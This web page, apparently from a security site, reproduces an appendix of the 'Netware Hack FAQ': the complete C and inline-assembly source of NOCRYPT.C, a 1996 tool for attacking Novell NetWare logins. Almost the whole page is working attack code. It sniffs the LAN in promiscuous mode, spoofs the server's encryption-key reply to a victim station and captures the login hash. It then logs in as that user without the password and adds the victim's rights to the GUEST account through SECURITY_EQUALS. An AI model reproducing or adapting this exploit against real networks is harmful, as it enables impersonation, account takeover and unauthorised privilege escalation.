• RSS
  • Twitter
  • FaceBook

Netware Hack FAQ - Appendix 03

/*This program was written and released on September 27, 1996 by Greg Miller*/

/*NOCRYPT.C

This program allows an attacker to masquerade as a user whithout knowing the
user's password.  For more information on using the program see NOCRYPT.DOC.
For more information on how the attack works, see ATTACK.DOC
*/

/*(C) 1996 by Greg Miller*/
/*Distribute freely*/

#include <stdio.h>
#include <string.h>

#define TRUE -1
#define FALSE 0
#define PACKET_TYPE 19
#define FUNCTION_CODE 50
#define SUBFUNC_CODE 53
#define KEY_OFFSET 54

typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;

BYTE username[20] = "GUEST";                            //user to gain rights
BYTE membername[20] = "GMILLER";                        //user rights to gain

BYTE server_network[4] = {0,0,0,15};                    //server INTERNAL net
BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05};  //closest router addr

BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe};             //0000 won't work
BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83};      //my address

BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //addr to spoof

BYTE my_seq_no = 1;
BYTE my_con_no;
BYTE login_key[8];

int DataRemaining = TRUE;
int x;

BYTE packet[2000];
BYTE SendPacket[2000];
BYTE to_server[100];

WORD handle;
int packet_received = FALSE;
int NotDone = TRUE;

int c;
WORD pktlen;
WORD Sendpktlen;
WORD to_server_len;

void Initialize(){
}

static void far PacketReceived(){
        /*This function is called by the packet driver when a packet is
          received.  If AX=0 when the function is called, the packet driver
          is asking for a buffer to put the packet in.  If AX=1 then the
          packet has been copied into the buffer.
        */

        _asm{
                pop di          //Borland C 3.1 pushes DI for some reason.
                                //Remove this line if your compiler doesn't.


                cmp ax,1        //ax=0 for get buffer or 1 when done
                jz copy_done

                mov ax,seg packet
                mov ES,ax
                lea DI,packet
                mov cx,2000     //buffer length
                retf
        }

copy_done:
        packet_received = TRUE;
        pktlen=_CX;

        _asm{retf}
end:
}

void RegisterWithPKTDRV(){
        /*This function registers the "protocol stack" with the packet
          driver.  We give it the address of the function to call when
          a packet is received in ES:DI, the interface class in AL, and
          the interface type in BX.  DS:SI should point to the type of
          packets to receive, with the length of the type in CX, however,
          we'll just receive any type of packet so we leave DS:SI alone
          and make CX=0.
          We get a handle back from the INT 60h call in AX, we'll store
          it for later use.
        */

        _asm {
                pusha

                mov bx,0ffffh  //Wild card for all interfaces
                mov dl,0
                mov cx,0    //receive any type of packet
                mov ax, seg PacketReceived
                mov es,ax
                lea di, PacketReceived
                mov ah,02
                mov al,01   //class type for 3com 509
                int 60h
                jc err

                mov handle,ax

                popa
        }

        printf("Registered with packet driver\r\n");
        return;
err:
        printf("Error registering stack: %d\r\n",_DH);
        _asm{popa}

}

void RelinquishProtocolStack(){
        /*  Relinqush control of the interface */

        /*Release Type*/
        _asm{   pusha

                mov ah,3
                mov bx,handle
                int 60h
                jc err
            }


        /*Terminate driver for handle*/
        _asm{
                mov ah,5
                mov bx,handle
                int 60h
                jc err

                popa
        }

        printf("Stack Relinqushed\r\n");
        return;
err:
        printf("Error releasing Stack: %d",_DH);
}

void SetReceiveMode(WORD mode){
        /*This function puts the board in the specified mode by putting the
          receive mode in CX and the handle in BX.  Mode 6 is promiscuous
          and mode 2 is normal.
        */
        _asm{
                pusha

                mov ah,14h
                mov bx,handle
                mov cx,mode
                int 60h
                jc err

                popa
        }

        printf("Mode set to %d\r\n",mode);
        return;
err:
        printf("Error entering promiscuous mode: %d\r\n",_DH);
        _asm{popa}
}

void printhex(BYTE d){
 BYTE temp;
 _asm{
  mov al,d
  shr al,1
  shr al,1
  shr al,1
  shr al,1
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c",temp);
 _asm{
  mov al,d
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c ",temp);
}

void SendPack(){

        _asm{   pusha

                mov ax,seg SendPacket
                mov ds,ax
                lea si,SendPacket
                mov cx,Sendpktlen
                mov ah,04
                int 60h

                jc err

                popa
        }
//      printf("Sending:\r\n");
//      for(c=0;c<pktlen;c++){printhex(packet[c]);}
//      printf("\r\n");
        return;
err:
        printf("Error sending packet: %d\r\n",_DH);
        _asm{popa}
}

void SendEncryptionKeyReply(){
        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

        //Put 802.3 length here.
        SendPacket[12]=00;
        SendPacket[13]=0x2e;

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[16]=0;SendPacket[17]=0x2e;    //IPX Length
        SendPacket[18]=1;                        //Hop Count
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status

        memcpy(SendPacket+52,login_key,8);  //Key

        Sendpktlen = 60;
//      printf("Spoofing Encryption Key Reply\r\n");
        SendPack();
}

void WaitForPacket(){
 while(!packet_received){
  }

// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");

 packet_received=FALSE;
}

void WaitForStationLoginRequest(){

        /*Discard first GetLoginKey()*/
        while(NotDone){
                WaitForPacket();
                  if((memcmp(packet+6,SpoofStation,6)==0) &&
                    (packet[PACKET_TYPE]==17) &&
                    (packet[FUNCTION_CODE]==23) &&
                    (packet[SUBFUNC_CODE]==23)){
                     NotDone = FALSE;
                  }
        }

        WaitForPacket();

        /*Wait for login key request and spoof it*/
        NotDone=TRUE;
        while(NotDone){
                WaitForPacket();
                  if((memcmp(packet+6,SpoofStation,6)==0) &&
                    (packet[PACKET_TYPE]==17) &&
                    (packet[FUNCTION_CODE]==23) &&
                    (packet[SUBFUNC_CODE]==23)){
                     NotDone = FALSE;
                  }
        }
        SendEncryptionKeyReply();

        /*Wait for login request and pull hash out*/
        NotDone = TRUE;
        while(NotDone){
                WaitForPacket();
                if((memcmp(packet+6,SpoofStation,6)==0) &&
                  (packet[PACKET_TYPE]==17) &&
                  (packet[FUNCTION_CODE]==23) &&
                  (packet[SUBFUNC_CODE]==24)){
                  NotDone = FALSE;
                }
        }
        memcpy(login_key,packet+KEY_OFFSET,8);
        printf("Hash Received\r\n");
        for(c=0;c<8;c++){printhex(login_key[c]);}
        printf("\r\n");
}
void SendToServer(){
        _asm{   pusha

                mov ax,seg to_server
                mov ds,ax
                lea si,to_server
                mov cx,to_server_len
                mov ah,04
                int 60h

                jc err

                popa
        }
//      printf("Sending:\r\n");
//      for(c=0;c<to_server_len;c++){printhex(to_server[c]);}
//      printf("\r\n");
        return;
err:
        printf("Error sending packet: %d\r\n",_DH);
        _asm{popa}
        printf("Sending packet\r\n");
}

void InitializePacket(){

        memcpy(to_server,server_addr,6);//803.3 dest
        memcpy(to_server+6,my_addr,6);  //802.3 source
        //802.3 length
        to_server[14] = 0xff; to_server[15]= 0xff;
        //ipx length
        to_server[18] = 0;              //hop count
        to_server[19] = 17;             //packet type
        memcpy(to_server+20,server_network,4);
        to_server[24] = 0; to_server[25] = 0;
        to_server[26] = 0; to_server[27] = 0;
        to_server[28] = 0; to_server[29] = 1;
        to_server[30] = 0x04; to_server[31] = 0x51;
        memcpy(to_server+32,my_network,4);
        memcpy(to_server+36,my_addr,6);
        to_server[42]=0x40; to_server[43]=0x05;

}

void AttachToServer(){
        to_server[44] = 0x11; to_server[45]= 0x11;      //request type
        to_server[46] = 0;                              //sequence no.
        to_server[47] = 0xff;                           //connection no.

        to_server[12]=0; to_server[13]=38;              //802.3 length
        to_server[16]=0; to_server[17]=37;              //ipx length

        to_server_len=48;
        SendToServer();
}

int GetConNumber(){
        while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==0))){}
        if(packet[51]==0){
                my_con_no=packet[47];
                printf("Connected on con %d\r\n",my_con_no);
        } else {
                printf("Error connecting %d\r\n",packet[51]);
        }
        return -1;
}

void RequestLoginKey(){
        to_server[12]=0; to_server[13]=40;              //802.3 len
        to_server[16]=0; to_server[17]=40;              //IPX len

        to_server[44]=0x22; to_server[45]=0x22;         //request type;
        to_server[46]=my_seq_no;                        //sequence no.
        to_server[47]=my_con_no;                        //connection no.
        to_server[48]=1;                                //tast no.
        to_server[49]=0;                                //conn no high
        to_server[50]=23;                               //func code
        to_server[51]=0; to_server[52]=1;               //subfunc len
        to_server[53]=23;                               //subfunc code

        to_server_len=54;
        SendToServer();
}

int GetLoginKey(){
   int x;
        while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
        if(packet[50]==0){
                memcpy(login_key,packet+52,8);
                printf("Retreived login key");
                for(x=0;x<8;x++){printf(" %d",login_key[x]);}
                printf("\r\n");
        } else {
                printf("Error getting login key %d\r\n",packet[50]);
        }
        my_seq_no++;
        return -1;
}

/*-----------------------------
void WaitForLoginRequest(){
        while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
              (packet[45]==0x22) && (packet[50]==23) && (packet[53]==23))){}
}
-------------------------------
void SpoofKeyReply(){
        memcpy(send_packet,packet+6,6); memcpy(send_packet+6,packet,6);
        send_packet[12]=0; send_packet[13]=46;
        send_packet[14]=0xFF; send_packet[15]=0xFF;
        send_packet[16]=0; send_packet[17]=46;
        send_packet[18]=0;
        send_packet[19]=17;
        memcpy(send_packet+20,packet+31,12);
        memcpy(send_packet+32,packet+19,12);
        send_packet[44]=0x33; send_packet[45]=0x33;
        memcpy(send_packet+46,packet+46,4);
        send_packet[50]=0;
        send_packet[51]=0;
        memcpy(send_packet+52,login_key,8);

        SendPacket();
}
-------------------------------
void WaitForKeyedLoginRequest(){
   int x;
        while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
              (packet[45]==0x22) && (packet[50]==23) && (packet[53]==24))){}
        memcpy(login_key,packet+54,8);
        printf("Got spoofed login key reply:");
        for(x=0;x<7,x++) printf(" %d",login_key[x]);
        printf("\r\n");
}
-------------------------------*/

void RequestKeyedLogin(){
   BYTE objlen;
        objlen=strlen(membername);

        to_server[12]=0; to_server[13]=51+objlen;       //802.3 len
        to_server[16]=0; to_server[17]=51+objlen;       //ipx len

        to_server[44]=0x22; to_server[45]=0x22;         //request type;
        to_server[46]=my_seq_no;                        //sequence no.
        to_server[47]=my_con_no;                        //connection no.
        to_server[48]=1;                                //tast no.
        to_server[49]=0;                                //conn no high
        to_server[50]=23;                               //func code
        to_server[51]=0; to_server[52]=12+objlen;       //subfunc len
        to_server[53]=24;                               //subfunc code
        memcpy(to_server+54,login_key,8);               //login key
        to_server[62]=0; to_server[63]=1;               //object type
        to_server[64]=objlen;                           //object length
        memcpy(to_server+65,membername,objlen);         //object name

        to_server_len=65+objlen;
        SendToServer();
}
int GetKeyedLoginResults(){
        while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
        if(packet[50]==0){
                memcpy(login_key,packet+52,8);
                printf("Logged in\r\n");
        } else {
                printf("Error logging in %d\r\n",packet[50]);
        }
        my_seq_no++;
        return -1;
}

void GrantRights(){
   BYTE objlen;
   BYTE memlen;

        objlen = strlen(username);
        memlen = strlen(membername);

        to_server[16]=0; to_server[17]=62+objlen+memlen;//IPX_len
        to_server[12]=0; to_server[13]=to_server[17]; //802.3 len

        to_server[44]=0x22;to_server[45]=0x22;          //Request type
        to_server[46]=my_seq_no;                        //Sequence No.
        to_server[47]=my_con_no;                        //connection no.
        to_server[48]=1;                                //Task no.
        to_server[49]=0;                                //conn no. high
        to_server[50]=23;                               //func code
        to_server[51]=0; to_server[52]=23+objlen+memlen;//subfun len
        to_server[53]=65;                               //subfun code
        to_server[54]=00; to_server[55]=1;              //Object type
        to_server[56]=objlen;                           //object len
        memcpy(to_server+57,username,objlen);           //object name
        to_server[57+objlen]=15;                        //property len
        memcpy(to_server+58+objlen,"SECURITY_EQUALS",15);//propertly name
        to_server[73+objlen]=0; to_server[74+objlen]=1; //member type
        to_server[75+objlen]=memlen;                    //member length
        memcpy(to_server+76+objlen,membername,memlen);  //member name

        printf("sublen %d\r\n",to_server[51]);

        to_server_len=80+objlen+memlen;

        for(x=0;x<100;x++) SendToServer();
}

void main(){

        Initialize();
        RegisterWithPKTDRV();

        InitializePacket();

        AttachToServer();
        GetConNumber();

        RequestLoginKey();
        GetLoginKey();

        SetReceiveMode(6);  //Promiscuous mode

        WaitForStationLoginRequest();

        SetReceiveMode(2);  //Normal mode

        RequestKeyedLogin();
        GetKeyedLoginResults();

        GrantRights();

        RelinquishProtocolStack();

}

Receive all the latest articles by email!

Get all articles delivered directly to your mailbox as and when they are released on WindowSecurity.com! Choose between receiving instant updates with the Real-Time Article Update, or a monthly summary with the Monthly Article Update. Sign up to the WindowSecurity.com Monthly Newsletter, written by George Chetcuti, BSc in Computing & IS (Honors), containing news, the hottest tips, security links of the month and much more. Subscribe today and don't miss a thing!



Receive all the latest articles by email!

Receive Real-Time & Monthly WindowSecurity.com article updates in your mailbox. Enter your email below!
Click for Real-Time sample & Monthly sample

Become a WindowSecurity.com member!

Discuss your security issues with thousands of other network security experts. Click here to join!

Community Area

Log in | Register

Readers' Choice

Which is your preferred Event Log Monitoring solution?